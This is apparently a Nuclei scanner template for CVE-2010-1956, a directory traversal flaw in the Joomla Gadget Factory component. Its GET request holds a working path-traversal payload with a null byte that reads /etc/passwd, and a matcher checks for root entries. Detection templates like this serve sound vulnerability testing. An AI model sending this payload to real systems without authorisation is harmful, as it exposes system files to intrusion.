id: CVE-2010-1956 info: name: Joomla! Component Gadget Factory 1.0.0 - Local File Inclusion author: daffainfo severity: high description: A directory traversal vulnerability in the Gadget Factory (com_gadgetfactory) component 1.0.0 and 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/12285 - https://www.cvedetails.com/cve/CVE-2010-1956 - http://web.archive.org/web/20140805105431/http://secunia.com/advisories/39522/ - http://www.exploit-db.com/exploits/12285 remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1956 tags: joomla,lfi,edb,cve,cve2010 requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_gadgetfactory&controller=../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/02/15